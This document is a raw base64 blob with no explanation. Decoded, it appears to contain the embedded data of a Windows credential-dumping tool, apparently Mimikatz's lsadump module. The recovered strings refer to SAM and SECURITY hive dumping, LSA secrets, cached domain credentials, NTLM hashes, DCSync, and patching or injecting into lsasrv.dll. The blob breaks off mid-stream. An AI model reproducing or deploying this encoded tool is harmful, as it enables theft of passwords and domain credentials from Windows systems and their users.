QUJ2QUhJQUlBQnBBRzRBYWdCbEFHTUFkQUFwQUFBQUFBQjBBSElBZFFCekFIUUFBQUFBQUFBQVFRQnpBR3NBSUFCTUFGTUFRUUFnQUZNQVpRQnlBSFlBWlFCeUFDQUFkQUJ2QUNBQWNnQmxBSFFBY2dCcEFHVUFkZ0JsQUNBQVZBQnlBSFVBY3dCMEFDQUFRUUIxQUhRQWFBQWdBRWtBYmdCbUFHOEFjZ0J0QUdFQWRBQnBBRzhBYmdBZ0FDZ0FiZ0J2QUhJQWJRQmhBR3dBSUFCdkFISUFJQUJ3QUdFQWRBQmpBR2dBSUFCdkFHNEFJQUIwQUdnQVpRQWdBR1lBYkFCNUFDa0FBQUFBQUdJQVlRQmpBR3NBZFFCd0FHc0FaUUI1QUhNQUFBQUFBSElBY0FCa0FHRUFkQUJoQUFBQUFBQmtBR01BY3dCNUFHNEFZd0FBQUFBQUFBQUFBQUFBQUFCQkFITUFhd0FnQUdFQUlBQkVBRU1BSUFCMEFHOEFJQUJ6QUhrQWJnQmpBR2dBY2dCdkFHNEFhUUI2QUdVQUlBQmhBRzRBSUFCdkFHSUFhZ0JsQUdNQWRBQUFBQUFBQUFCc0FITUFZUUJrQUhVQWJRQndBQUFBVEFCekFHRUFSQUIxQUcwQWNBQWdBRzBBYndCa0FIVUFiQUJsQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUhNQVlRQnRBQ0FBT3dBZ0FFTUFjZ0JsQUdFQWRBQmxBRVlBYVFCc0FHVUFJQUFvQUZNQVdRQlRBRlFBUlFCTkFDQUFhQUJwQUhZQVpRQXBBQ0FBS0FBd0FIZ0FKUUF3QURnQWVBQXBBQW9BQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QWN3QmhBRzBBSUFBN0FDQUFRd0J5QUdVQVlRQjBBR1VBUmdCcEFHd0FaUUFnQUNnQVV3QkJBRTBBSUFCb0FHa0FkZ0JsQUNrQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBVXdCWkFGTUFWQUJGQUUwQUFBQUFBRk1BUVFCTkFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QWN3QmhBRzBBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFHVUFad0JwQUhNQWRBQnlBSGtBWHdCU0FHVUFad0JQQUhBQVpRQnVBRXNBWlFCNUFFVUFlQUFnQUNnQVV3QkJBRTBBS1FBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFhd0JwQUhjQWFRQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUhNQVpRQmpBSElBWlFCMEFITUFUd0J5QUVNQVlRQmpBR2dBWlFBZ0FEc0FJQUJEQUhJQVpRQmhBSFFBWlFCR0FHa0FiQUJsQUNBQUtBQlRBRVVBUXdCVkFGSUFTUUJVQUZrQUlBQm9BR2tBZGdCbEFDa0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0J6QUdVQVl3QnlBR1VBZEFCekFFOEFjZ0JEQUdFQVl3Qm9BR1VBSUFBN0FDQUFRd0J5QUdVQVlRQjBBR1VBUmdCcEFHd0FaUUFnQUNnQVV3QlpBRk1BVkFCRkFFMEFJQUJvQUdrQWRnQmxBQ2tBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFBQUFBQUZNQVJRQkRBRlVBVWdCSkFGUUFXUUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFITUFaUUJqQUhJQVpRQjBBSE1BVHdCeUFFTUFZUUJqQUdnQVpRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQmZBRklBWlFCbkFFOEFjQUJsQUc0QVN3QmxBSGtBUlFCNEFDQUFLQUJUQUVVQVF3QlZBRklBU1FCVUFGa0FLUUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQVF3QjFBSElBY2dCbEFHNEFkQUFBQUVRQVpRQm1BR0VBZFFCc0FIUUFBQUJEQUc4QWJnQjBBSElBYndCc0FGTUFaUUIwQURBQU1BQXdBQUFBQUFBQUFGTUFaUUJzQUdVQVl3QjBBQUFBQUFBbEFEQUFNd0IxQUFBQUFBQktBRVFBQUFBQUFBQUFBQUJUQUdzQVpRQjNBREVBQUFBQUFBQUFSd0JDQUVjQUFBQkVBR0VBZEFCaEFBQUFBQUFsQUhnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR2NBWlFCMEFGTUFlUUJ6QUdzQVpRQjVBQ0FBT3dBZ0FFd0FVd0JCQUNBQVN3QmxBSGtBSUFCREFHd0FZUUJ6QUhNQUlBQnlBR1VBWVFCa0FDQUFaUUJ5QUhJQWJ3QnlBQW9BQUFBQUFFUUFid0J0QUdFQWFRQnVBQ0FBT2dBZ0FBQUFBQUFBQUVNQWJ3QnVBSFFBY2dCdkFHd0FYQUJEQUc4QWJRQndBSFVBZEFCbEFISUFUZ0JoQUcwQVpRQmNBRU1BYndCdEFIQUFkUUIwQUdVQWNnQk9BR0VBYlFCbEFBQUFBQUFBQUVNQWJ3QnRBSEFBZFFCMEFHVUFjZ0JPQUdFQWJRQmxBQUFBQUFBQUFBQUFKUUJ6QUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJEQUc4QWJRQndBSFVBZEFCbEFISUFRUUJ1QUdRQVV3QjVBSE1BYXdCbEFIa0FJQUE3QUNBQWF3QjFBR3dBYkFCZkFHMEFYd0J5QUdVQVp3QnBBSE1BZEFCeUFIa0FYd0JTQUdVQVp3QlJBSFVBWlFCeUFIa0FWZ0JoQUd3QWRRQmxBRVVBZUFBZ0FFTUFid0J0QUhBQWRRQjBBR1VBY2dCT0FHRUFiUUJsQUNBQVN3QlBBQW9BQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3Qm5BR1VBZEFCREFHOEFiUUJ3QUhVQWRBQmxBSElBUVFCdUFHUUFVd0I1QUhNQWF3QmxBSGtBSUFBN0FDQUFjQUJ5QUdVQUlBQXRBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBR1VBWndCcEFITUFkQUJ5QUhrQVh3QlNBR1VBWndCUkFIVUFaUUJ5QUhrQVZnQmhBR3dBZFFCbEFFVUFlQUFnQUVNQWJ3QnRBSEFBZFFCMEFHVUFjZ0JPQUdFQWJRQmxBQ0FBU3dCUEFBb0FBQUFBQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFad0JsQUhRQVF3QnZBRzBBY0FCMUFIUUFaUUJ5QUVFQWJnQmtBRk1BZVFCekFHc0FaUUI1QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQmxBR2NBYVFCekFIUUFjZ0I1QUY4QVVnQmxBR2NBVHdCd0FHVUFiZ0JMQUdVQWVRQkZBSGdBSUFCREFHOEFiUUJ3QUhVQWRBQmxBSElBVGdCaEFHMEFaUUFnQUVzQVR3QUtBQUFBQUFBQUFGTUFlUUJ6QUVzQVpRQjVBQ0FBT2dBZ0FBQUFBQUFBQUVNQWJ3QnVBSFFBY2dCdkFHd0FYQUJNQUZNQVFRQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVp3QmxBSFFBUXdCdkFHMEFjQUIxQUhRQVpRQnlBRUVBYmdCa0FGTUFlUUJ6QUdzQVpRQjVBQ0FBT3dBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR2NBWlFCMEFGTUFlUUJ6QUdzQVpRQjVBQ0FBU3dCUEFBb0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdjQVpRQjBBRU1BYndCdEFIQUFkUUIwQUdVQWNnQkJBRzRBWkFCVEFIa0Fjd0JyQUdVQWVRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQmZBRklBWlFCbkFFOEFjQUJsQUc0QVN3QmxBSGtBUlFCNEFDQUFUQUJUQUVFQUlBQkxBRThBQ2dBQUFBQUFBQUFBQUZNQVFRQk5BRndBUkFCdkFHMEFZUUJwQUc0QWN3QmNBRUVBWXdCakFHOEFkUUJ1QUhRQUFBQldBQUFBQUFBQUFFd0Fid0JqQUdFQWJBQWdBRk1BU1FCRUFDQUFPZ0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3Qm5BR1VBZEFCVkFITUFaUUJ5QUhNQVFRQnVBR1FBVXdCaEFHMEFTd0JsQUhrQUlBQTdBQ0FBYXdCMUFHd0FiQUJmQUcwQVh3QnlBR1VBWndCcEFITUFkQUJ5QUhrQVh3QlNBR1VBWndCUkFIVUFaUUJ5QUhrQVZnQmhBR3dBZFFCbEFFVUFlQUFnQUZZQUlBQkxBRThBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVp3QmxBSFFBVlFCekFHVUFjZ0J6QUVFQWJnQmtBRk1BWVFCdEFFc0FaUUI1QUNBQU93QWdBSEFBY2dCbEFDQUFMUUFnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0JsQUdjQWFRQnpBSFFBY2dCNUFGOEFVZ0JsQUdjQVVRQjFBR1VBY2dCNUFGWUFZUUJzQUhVQVpRQkZBSGdBSUFCV0FDQUFTd0JQQUFvQUFBQUFBQUFBQUFCVkFITUFaUUJ5QUhNQUFBQUFBQUFBVGdCaEFHMEFaUUJ6QUFBQUFBQUFBQW9BVWdCSkFFUUFJQUFnQURvQUlBQWxBREFBT0FCNEFDQUFLQUFsQUhVQUtRQUtBQUFBQUFCVkFITUFaUUJ5QUNBQU9nQWdBQ1VBTGdBcUFITUFDZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVp3QmxBSFFBVlFCekFHVUFjZ0J6QUVFQWJnQmtBRk1BWVFCdEFFc0FaUUI1QUNBQU93QWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdjQVpRQjBBRXNBWlFBZ0FFc0FUd0FLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QVp3QmxBSFFBVlFCekFHVUFjZ0J6QUVFQWJnQmtBRk1BWVFCdEFFc0FaUUI1QUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQmxBR2NBYVFCekFIUUFjZ0I1QUY4QVVnQmxBR2NBVHdCd0FHVUFiZ0JMQUdVQWVRQkZBSGdBSUFCVEFFRUFUUUFnQUVFQVl3QmpBRzhBZFFCdUFIUUFjd0FnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBVGdCVUFFd0FUUUFBQUFBQUFBQUFBRXdBVFFBZ0FDQUFBQUFBQUFBQUFBQWxBSE1BSUFBNkFDQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWndCbEFIUUFTQUJoQUhNQWFBQWdBRHNBSUFCU0FIUUFiQUJFQUdVQVl3QnlBSGtBY0FCMEFFUUFSUUJUQURJQVlnQnNBRzhBWXdCckFITUFNUUJFQUZjQVR3QlNBRVFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJJQUdFQWN3Qm9BQ0FBT3dBZ0FGSUFkQUJzQUVVQWJnQmpBSElBZVFCd0FIUUFSQUJsQUdNQWNnQjVBSEFBZEFCU0FFTUFOQUFBQUFvQVV3QkJBRTBBU3dCbEFIa0FJQUE2QUNBQUFBQUFBRVlBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCbkFHVUFkQUJUQUdFQWJRQkxBR1VBZVFBZ0FEc0FJQUJTQUhRQWJBQkZBRzRBWXdCeUFIa0FjQUIwQUVRQVpRQmpBSElBZVFCd0FIUUFVZ0JEQURRQUlBQkxBRThBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHY0FaUUIwQUZNQVlRQnRBRXNBWlFCNUFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFjZ0JsQUdjQWFRQnpBSFFBY2dCNUFGOEFVZ0JsQUdjQVVRQjFBR1VBY2dCNUFGWUFZUUJzQUhVQVpRQkZBSGdBSUFCR0FDQUFTd0JQQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHY0FaUUIwQUZNQVlRQnRBRXNBWlFCNUFDQUFPd0FnQUhBQWNnQmxBQ0FBTFFBZ0FHc0FkUUJzQUd3QVh3QnRBRjhBY2dCbEFHY0FhUUJ6QUhRQWNnQjVBRjhBVWdCbEFHY0FVUUIxQUdVQWNnQjVBRllBWVFCc0FIVUFaUUJGQUhnQUlBQkdBQ0FBU3dCUEFBQUFVQUJ2QUd3QVh3QmZBRVFBYlFCT0FBQUFBQUFBQUFBQVVBQnZBR3dBWHdCZkFFUUFiUUJUQUFBQUFBQUFBQUFBSlFCekFDQUFiZ0JoQUcwQVpRQWdBRG9BSUFBQUFBQUFJQUFvQUFBQUFBQXBBQUFBQUFBQUFGQUFid0JzQUdrQVl3QjVBQUFBQUFCTUFHOEFZd0JoQUd3QUFBQkJBR01BQUFBQUFBQUFBQUJFQUc4QWJRQmhBR2tBYmdBQUFBQUFVQUJ5QUFBQUFBQlFBRzhBYkFCU0FHVUFkZ0JwQUhNQWFRQnZBRzRBQUFBQUFBQUFBQUFBQUFvQVVBQnZBR3dBYVFCakFIa0FJQUJ6QUhVQVlnQnpBSGtBY3dCMEFHVUFiUUFnQUdrQWN3QWdBRG9BSUFBbEFHZ0FkUUF1QUNVQWFBQjFBQW9BQUFCUUFHOEFiQUJGQUVzQVRBQnBBSE1BZEFBQUFBQUFBQUJRQUc4QWJBQlRBR1VBWXdCeUFHVUFkQUJGQUc0QVl3QnlBSGtBY0FCMEFHa0Fid0J1QUVzQVpRQjVBQUFBQUFCTUFGTUFRUUFnQUVzQVpRQjVBQ2dBY3dBcEFDQUFPZ0FnQUNVQWRRQXNBQ0FBWkFCbEFHWUFZUUIxQUd3QWRBQWdBQUFBQUFBQUFDQUFJQUJiQUNVQU1BQXlBSFVBWFFBZ0FBQUFJQUFBQUV3QVV3QkJBQ0FBU3dCbEFIa0FJQUE2QUNBQUFBQUFBRk1BWlFCakFISUFaUUIwQUhNQUFBQnpBR1VBY2dCMkFHa0FZd0JsQUhNQUFBQUFBQUFBQUFBS0FGTUFaUUJqQUhJQVpRQjBBQ0FBSUFBNkFDQUFKUUJ6QUFBQUFBQUFBRjhBVXdCREFGOEFBQUFBQUFBQUFBQkRBSFVBY2dCeUFGWUFZUUJzQUFBQUNnQmpBSFVBY2dBdkFBQUFBQUFBQUU4QWJBQmtBRllBWVFCc0FBQUFBQUFLQUc4QWJBQmtBQzhBQUFBQUFBQUFVd0JsQUdNQWNnQmxBSFFBY3dCY0FFNEFUQUFrQUVzQVRRQmNBRU1BZFFCeUFISUFWZ0JoQUd3QUFBQUFBQUFBUXdCaEFHTUFhQUJsQUFBQUFBQUFBRTRBVEFBa0FFa0FkQUJsQUhJQVlRQjBBR2tBYndCdUFFTUFid0IxQUc0QWRBQUFBQUFBQUFBcUFDQUFUZ0JNQUNRQVNRQjBBR1VBY2dCaEFIUUFhUUJ2QUc0QVF3QnZBSFVBYmdCMEFDQUFhUUJ6QUNBQUpRQjFBQ3dBSUFBbEFIVUFJQUJ5QUdVQVlRQnNBQ0FBYVFCMEFHVUFjZ0JoQUhRQWFRQnZBRzRBS0FCekFDa0FDZ0FBQUFBQUFBQUFBQ29BSUFCRUFFTUFRd0F4QUNBQWJRQnZBR1FBWlFBZ0FDRUFDZ0FBQUFBQUFBQUFBQUFBQUFBcUFDQUFTUUIwQUdVQWNnQmhBSFFBYVFCdkFHNEFJQUJwQUhNQUlBQnpBR1VBZEFBZ0FIUUFid0FnQUdRQVpRQm1BR0VBZFFCc0FIUUFJQUFvQURFQU1BQXlBRFFBTUFBcEFBb0FBQUFBQUU0QVRBQWtBRU1BYndCdUFIUUFjZ0J2QUd3QUFBQUFBQW9BV3dBbEFITUFJQUF0QUNBQUFBQmRBQW9BVWdCSkFFUUFJQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF3QURnQWVBQWdBQ2dBSlFCMUFDa0FDZ0FBQUFBQUFBQUFBRDRBSUFCTEFHa0Fkd0JwQUNBQWJRQnZBR1FBWlFBdUFDNEFMZ0FLQUFBQUlBQWdBRTBBY3dCREFHRUFZd0JvQUdVQVZnQXlBQ0FBT2dBZ0FBQUFBQUFnQUNBQVF3Qm9BR1VBWXdCckFITUFkUUJ0QUNBQUlBQTZBQ0FBQUFBQUFENEFJQUJQQUVzQUlRQUtBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JuQUdVQWRBQk9BRXdBU3dCTkFGTUFaUUJqQUhJQVpRQjBBRUVBYmdCa0FFTUFZUUJqQUdnQVpRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSElBWlFCbkFHa0Fjd0IwQUhJQWVRQmZBRklBWlFCbkFGTUFaUUIwQUZZQVlRQnNBSFVBWlFCRkFIZ0FJQUFvQURBQWVBQWxBREFBT0FCNEFDa0FDZ0FBQUFBQUFBQUFBQ0FBSUFCTkFITUFRd0JoQUdNQWFBQmxBRllBTVFBZ0FEb0FJQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBWndCbEFIUUFUZ0JNQUVzQVRRQlRBR1VBWXdCeUFHVUFkQUJCQUc0QVpBQkRBR0VBWXdCb0FHVUFJQUE3QUNBQVVnQjBBR3dBUlFCdUFHTUFjZ0I1QUhBQWRBQkVBR1VBWXdCeUFIa0FjQUIwQUZJQVF3QTBBQ0FBT2dBZ0FEQUFlQUFsQURBQU9BQjRBQW9BQUFBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBR2NBWlFCMEFFNEFUQUJMQUUwQVV3QmxBR01BY2dCbEFIUUFRUUJ1QUdRQVF3QmhBR01BYUFCbEFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCb0FHMEFZUUJqQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBQUFBVlFCekFHVUFjZ0FnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUF1QUNvQWN3QmNBQ1VBTGdBcUFITUFDZ0FBQUFBQVRRQnpBRU1BWVFCakFHZ0FaUUJXQUNVQVl3QWdBRG9BSUFBQUFBQUFBQUJQQUdJQWFnQmxBR01BZEFCT0FHRUFiUUJsQUFBQUFBQWdBQzhBSUFCekFHVUFjZ0IyQUdrQVl3QmxBQ0FBSndBbEFITUFKd0FnQUhjQWFRQjBBR2dBSUFCMUFITUFaUUJ5QUc0QVlRQnRBR1VBSUFBNkFDQUFKUUJ6QUFBQUFBQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWJBQnpBR0VBWkFCMUFHMEFjQUJmQUdRQVpRQmpBSElBZVFCd0FIUUFVd0JsQUdNQWNnQmxBSFFBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCeUFHVUFad0JwQUhNQWRBQnlBSGtBWHdCU0FHVUFad0JSQUhVQVpRQnlBSGtBVmdCaEFHd0FkUUJsQUVVQWVBQWdBRk1BWlFCakFISUFaUUIwQUNBQWRnQmhBR3dBZFFCbEFDQUFTd0JQQUFvQUFBQUFBQUFBZEFCbEFIZ0FkQUE2QUNBQUpRQjNBRm9BQUFBQUFBQUFhQUJsQUhnQUlBQTZBQ0FBQUFBQUFDUUFUUUJCQUVNQVNBQkpBRTRBUlFBdUFFRUFRd0JEQUFBQUFBQUFBQUFBQ2dBZ0FDQUFJQUFnQUU0QVZBQk1BRTBBT2dBQUFBQUFDZ0FnQUNBQUlBQWdBRk1BU0FCQkFERUFPZ0FBQUFBQVJBQlFBRUVBVUFCSkFGOEFVd0JaQUZNQVZBQkZBRTBBQUFBQUFBQUFBQUFLQUNBQUlBQWdBQ0FBWmdCMUFHd0FiQUE2QUNBQUFBQUtBQ0FBSUFBZ0FDQUFiUUF2QUhVQUlBQTZBQ0FBQUFBZ0FDOEFJQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYkFCekFHRUFaQUIxQUcwQWNBQmZBSE1BWlFCakFGOEFZUUJsQUhNQU1nQTFBRFlBSUFBN0FDQUFRd0J5QUhrQWNBQjBBRVFBWlFCakFISUFlUUJ3QUhRQUlBQW9BREFBZUFBbEFEQUFPQUI0QUNrQUNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBY3dCbEFHTUFYd0JoQUdVQWN3QXlBRFVBTmdBZ0FEc0FJQUJEQUhJQWVRQndBSFFBVXdCbEFIUUFTd0JsQUhrQVVBQmhBSElBWVFCdEFDQUFLQUF3QUhnQUpRQXdBRGdBZUFBcEFBb0FBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCekFHVUFZd0JmQUdFQVpRQnpBRElBTlFBMkFDQUFPd0FnQUdzQWRRQnNBR3dBWHdCdEFGOEFZd0J5QUhrQWNBQjBBRzhBWHdCb0FHc0FaUUI1QUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBSE1BWVFCdEFITUFjZ0IyQUM0QVpBQnNBR3dBQUFBQUFHd0Fjd0JoQUhNQWNnQjJBQzRBWkFCc0FHd0FBQUFBQUc0QWRBQmtBR3dBYkFBdUFHUUFiQUJzQUFBQUFBQUFBR3NBWlFCeUFHNEFaUUJzQURNQU1nQXVBR1FBYkFCc0FBQUFBQUFBQUFBQVUyRnRTVU52Ym01bFkzUUFBQUFBQUZOaGJYSkRiRzl6WlVoaGJtUnNaUUJUWVcxSlVtVjBjbWxsZG1WUWNtbHRZWEo1UTNKbFpHVnVkR2xoYkhNQUFGTmhiWEpQY0dWdVJHOXRZV2x1QUFCVFlXMXlUM0JsYmxWelpYSUFBQUFBVTJGdGNsRjFaWEo1U1c1bWIzSnRZWFJwYjI1VmMyVnlBQUFBQUFBQUFBQlRZVzFKUm5KbFpWOVRRVTFRVWw5VlUwVlNYMGxPUms5ZlFsVkdSa1ZTQUV4ellVbFJkV1Z5ZVVsdVptOXliV0YwYVc5dVVHOXNhV041VkhKMWMzUmxaQUFBQUFBQUFBQk1jMkZKUm5KbFpWOU1VMEZRVWw5UVQweEpRMWxmU1U1R1QxSk5RVlJKVDA0QUFBQUFBQUFBVm1seWRIVmhiRUZzYkc5akFBQUFBRXh2WTJGc1JuSmxaUUFBQUcxbGJXTndlUUFBQUFBQUFIQUFZUUIwQUdNQWFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JzQUhNQVlRQWdBRHNBSUFCckFIVUFiQUJzQUY4QWJRQmZBSEFBWVFCMEFHTUFhQUFnQUNnQU1BQjRBQ1VBTUFBNEFIZ0FLUUFLQUFBQUFBQUFBQUFBQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnNBSE1BWVFCa0FIVUFiUUJ3QUY4QWJBQnpBR0VBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCd0FISUFid0JqQUdVQWN3QnpBRjhBWndCbEFIUUFWZ0JsQUhJQWVRQkNBR0VBY3dCcEFHTUFUUUJ2QUdRQWRRQnNBR1VBU1FCdUFHWUFid0J5QUcwQVlRQjBBR2tBYndCdUFITUFSZ0J2QUhJQVRnQmhBRzBBWlFBZ0FDZ0FNQUI0QUNVQU1BQTRBSGdBS1FBS0FBQUFBQUFBQUdrQWJnQnFBR1VBWXdCMEFBQUFBQUFBQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFiQUJ6QUdFQVpBQjFBRzBBY0FCZkFHd0Fjd0JoQUNBQU93QWdBR3NBZFFCc0FHd0FYd0J0QUY4QWNnQmxBRzBBYndCMEFHVUFiQUJwQUdJQVh3QkRBSElBWlFCaEFIUUFaUUJTQUdVQWJRQnZBSFFBWlFCREFHOEFaQUJsQUZjQWFRQjBBSFFBYUFCUUFHRUFkQUIwQUdVQWNnQnVBRklBWlFCd0FHd0FZUUJqQUdVQUNnQUFBQUFBQUFBQUFFUUFid0J0QUdFQWFRQnVBQ0FBT2dBZ0FDVUFkd0JhQUNBQUx3QWdBQUFBQUFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3dBY3dCaEFHUUFkUUJ0QUhBQVh3QnNBSE1BWVFBZ0FEc0FJQUJUQUdFQWJRQk1BRzhBYndCckFIVUFjQUJKQUdRQWN3QkpBRzRBUkFCdkFHMEFZUUJwQUc0QUlBQWxBREFBT0FCNEFBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCc0FITUFZUUJrQUhVQWJRQndBRjhBYkFCekFHRUFJQUE3QUNBQUp3QWxBSE1BSndBZ0FHa0Fjd0FnQUc0QWJ3QjBBQ0FBWVFBZ0FIWUFZUUJzQUdrQVpBQWdBRWtBWkFBS0FBQUFBQUJ1QUdFQWJRQmxBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHd0Fjd0JoQUdRQWRRQnRBSEFBWHdCc0FITUFZUUFnQURzQUlBQlRBR0VBYlFCTUFHOEFid0JyQUhVQWNBQk9BR0VBYlFCbEFITUFTUUJ1QUVRQWJ3QnRBR0VBYVFCdUFDQUFKUUF3QURnQWVBQUtBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JzQUhNQVlRQmtBSFVBYlFCd0FGOEFiQUJ6QUdFQUlBQTdBQ0FBVXdCaEFHMEFSUUJ1QUhVQWJRQmxBSElBWVFCMEFHVUFWUUJ6QUdVQWNnQnpBRWtBYmdCRUFHOEFiUUJoQUdrQWJnQWdBQ1VBTUFBNEFIZ0FDZ0FBQUFBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUd3QWN3QmhBR1FBZFFCdEFIQUFYd0JzQUhNQVlRQWdBRHNBSUFCVEFHRUFiUUJQQUhBQVpRQnVBRVFBYndCdEFHRUFhUUJ1QUNB